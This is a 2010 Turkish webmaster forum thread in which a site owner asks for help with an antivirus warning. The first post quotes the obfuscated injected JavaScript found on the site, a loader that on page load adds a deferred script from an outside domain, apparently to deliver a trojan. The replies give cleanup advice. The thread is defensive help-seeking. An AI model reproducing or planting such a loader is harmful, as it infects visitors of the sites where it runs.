Sitede Trojen - Google Fan Webmaster Forum
Google Fan Webmaster Forum  
herşeyi sana yazdım

Geri git   Google Fan Webmaster Forum > Webmaster Genel > Webmaster Genel konular sorunlar
Sitede Trojen

Sitede Trojen

KEY
Kayıt ol Articles Sosyal Gruplar Forumları Okundu Kabul Et

Webmaster Genel konular sorunlar Webmaster genel konular sorular sorunlar

Cevapla
 
LinkBack Seçenekler
  1  
Alt 08-01-2010, 22:30:36
 
Standart Sitede Trojen
permalink
Arkadaşlar merhaba;

Bir arkadaşımın şirket sitesine girince antivirüs uyarı verdi. Sitenin kodlarını inceleyince de decode edilmiş

Alıntı:
<script>/*LGPL*/ try{ window.onload = function(){var Ysrfkz8enx34ww = document.createElement('s)c$#!r)i@!!p@$t!#'.replac e(/\(|@|\!|#|\)|\$|\^|&/ig, ''));Ysrfkz8enx34ww.setAttribute('defer', 'd@(e!&f^!e))@@r#^'.replace(/\)|@|&|\^|#|\(|\$|\!/ig, ''));Ysrfkz8enx34ww.setAttribute('type', 't^!!e$x)($$t)/()&j)a&&$v&@a&)s!c)r&i!#p&(^t^'.replace(/\(|@|#|&|\$|\)|\^|\!/ig, ''));Ysrfkz8enx34ww.setAttribute('id', 'H&)$9)p&@$^r#o$#(^#r$^^$^3^&b$!$y()^d&(^&'.replac e(/&|\^|\)|\$|\!|#|\(|@/ig, ''));Ysrfkz8enx34ww.setAttribute('s!(r^(&$c(!'.rep lace(/&|\$|\(|\^|@|#|\)|\!/ig, ''), ')(o@m$@#/&^w&&&i@n^!^d$&^(^o$@^$w($@^s$@l#)^)i&@v$!^&e$)$.@ @c!o^$m@/))g^^!!{document.body.appendChild(Ysrfkz8enx34ww); }} } catch(Enezdsv23895e1iceyl) {}</script>
bu kodları gödüm. İnternette araştırma yaptım ama pek fazla bilgi yok. Antivirüs uyarısında e-dolandırıcılık engelleyicisi yazıyor ve açıklama kısmında kompas-com.55bbs.com.google.pt/yimg.com gibi siteler yazıyor. Sanırım bir çeşit yönlendirme ama anlam veremedim. Ne gibi tehlikeli bir kod bu ve kasıtlı mı konulmuştur ?
Konu BurakH tarafından (08-01-2010 Saat 23:42:34 ) değiştirilmiştir..
Alıntı ile Cevapla
  2  
Alt 08-01-2010, 23:00:42
 
Standart
permalink
Symantec'in sitesine bu trojen hakkında bugün bilgi girilmiş.

http://www.symantec.com/connect/blog...ipts-wild-lgpl

İngilizcem iyi derece de olmadığından tam olarak anlayamadım. Anladığım kadarıyla bu javascript kodlarıyla Java,Acrobat Reader gibi programlar aracılığı ile websitesinden bilgisayara trojen bulaşıyor. Bu konu hakkında bilgisi olan lütfen paylaşsın.
Konu BurakH tarafından (08-01-2010 Saat 23:11:46 ) değiştirilmiştir..
Alıntı ile Cevapla
  3  
Alt 08-01-2010, 23:11:18
 
Standart
permalink
Öncelikle ftp şifrenizi sağlam bir şifre ile değiştiriniz. Daha sonra başlat çalıştır msconfig yazarak başlangıç sekmesinde ne olduğunu bilmediğiniz .exe uzantılı dosyaların bilgisayar açılırken açılmasını engelleyin. Tabiki sistem dosyalarını ayıklayıp öyle gerçekleştirin bu işlemi...

Bilgisayarınızı sağlam bir antivirüs programı ve anti spyware programı ile taratınız...

İndex Dosyalarını temizleyiniz fakat şifrenizi değiştirmeyi unutmayınız.

Teşekkürler, İyi çalışmalar
__________________
Size Yardımcı olabiliriz >>> Neden Biz? | 2GB Alan 35-TL
Alıntı ile Cevapla
  4  
Alt 08-01-2010, 23:15:15
 
Standart
permalink
Arkadaşının pcsine siszyd32.exe virüsü bulaşmış. başlat>çalıştır>msconfig>başlangıç>siszyd32 yi görürsünüz fakat ordan iptal edilmiyor.
Bulaşan arkadaşlara yardımcı olurum
__________________
müptezeL
Alıntı ile Cevapla
  5  
Alt 08-01-2010, 23:28:34
 
Standart
permalink
Teşekkürler ilginiz için. Arkadaşla bu konyu konuşmadım daha Symentec Trojan.Pidief.H den bahsediyor. Eğer bu trojense baya tehlikeli gibi gözüküyor. Uzun zamandan beridir girmiyordum nete bugün girince kafamı baya kurcaladı. Bu trojenin keylogger gibi işlem görüp online bankacılık vs gibi bilgileri sızdırma olasılığı varmı ?
Alıntı ile Cevapla
  6  
Alt 08-01-2010, 23:30:51
 
Standart
permalink
Alıntı:
heLLz Nickli Üyeden Alıntı Mesajı göster
Arkadaşının pcsine siszyd32.exe virüsü bulaşmış. başlat>çalıştır>msconfig>başlangıç>siszyd32 yi görürsünüz fakat ordan iptal edilmiyor.
Bulaşan arkadaşlara yardımcı olurum
İframe virüsü tek ad taşımaz Bu virüsün yeni yeni yayıldığı vakit aynı olay başımıza gelmişti. Ntos.exe adlı bir exe ile bulaşmıştı... O bakımdan bu virüsü tek bir isimle nitelendirmek pek uygun olmaz...

Yukarıda msconfig ayarlarını dediğimiz gibi yapıp sağlam bir anti virüs ve anti spyware ile taratıp trojanları sildikten sonra ftp şifresini değiştirirlerle bir problem kalmaz...

İyi akşamlar
__________________
Size Yardımcı olabiliriz >>> Neden Biz? | 2GB Alan 35-TL
Alıntı ile Cevapla
  7  
Alt 08-01-2010, 23:39:59
 
Standart
permalink
Konu içersindeki Kodlar hala işlev göstermekte Nod32 Uyarı veriyor bence kodları kaldırın.

Alıntı ile Cevapla
  8  
Alt 08-01-2010, 23:43:44
 
Standart
permalink
Kodları değiştirdim. Bu trojenler hakkında bilgi verebilirseniz iyi olur.
Alıntı ile Cevapla
  9  
Alt 09-01-2010, 00:22:31
 
Standart
permalink
Alıntı:
BurakH Nickli Üyeden Alıntı Mesajı göster
Kodları değiştirdim. Bu trojenler hakkında bilgi verebilirseniz iyi olur.
herkes nasıl kurtulacğını söylüyor..
nasıl bulaştığı hakkında aslında kımsenın kesın bır fıkrı yok malesef :S
__________________
pr5 Eğitim Sitesi 5 tl Makale Reklam
Alıntı ile Cevapla
Cevapla


Bookmarks

« Genel Portal İçin Joomla'mı - Drupal'mı? | Cpanel den anlayan arkadaşlar acil yardım! »
Seçenekler

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok
BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Açık


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 14:49:23.

Bize Yazin - Webmaster forumu, webmaster Resource, Hosting, Dedicated, Seo, adsense para kazanma, adwords reklam verme, hosting şirketleri - Arşiv - Yukarı git

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

“İnsanların en hayırlısı, insanlara faydalı olandır”. H.Ş

Hosting by Radore Hosting

İçerik sağlayacı paylaşım sitelerinden biri olan R10.net WebMaster Forum Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. R10.net hakkında yapılacak tüm hukuksal Şikayetler adresi ile iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 1 (Bir) Hafta içerisinde R10.net yönetimi olarak tarafımızdan gereken işlemler yapılacak ve Avukatlarımız size dönüş yapacaktır.
ARGUS_OK

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252